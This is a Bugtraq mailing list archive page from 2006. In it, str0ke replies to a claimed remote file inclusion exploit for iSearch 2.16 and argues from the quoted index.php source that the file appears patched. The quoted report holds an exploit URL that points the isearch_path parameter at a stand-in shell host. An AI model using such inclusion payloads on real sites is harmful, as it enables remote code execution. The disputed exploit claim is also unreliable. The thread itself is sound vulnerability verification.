Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: The latest version of iSearch is V2.16 <= (index.php) Remote File Inclusion Exploit
From: str0ke <str0ke () milw0rm com>
Date: Mon, 9 Oct 2006 14:32:50 -0500

On 7 Oct 2006 22:14:00 -0000, xp1o () msn com <xp1o () msn com> wrote:
#The latest version of iSearch is V2.16 <=  (index.php) Remote File Inclusion Exploit
#Vlu Code :
#
#htpp://sitename.com/[scerpitPath]/index.php?isearch_path=http://SHELLURL.COM


$isearch_path = dirname(__FILE__);
define('IN_ISEARCH', true);

require_once "$isearch_path/inc/core.inc.php";
require_once "$isearch_path/inc/search.inc.php";

index.php seems patched to me.

/str0ke


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]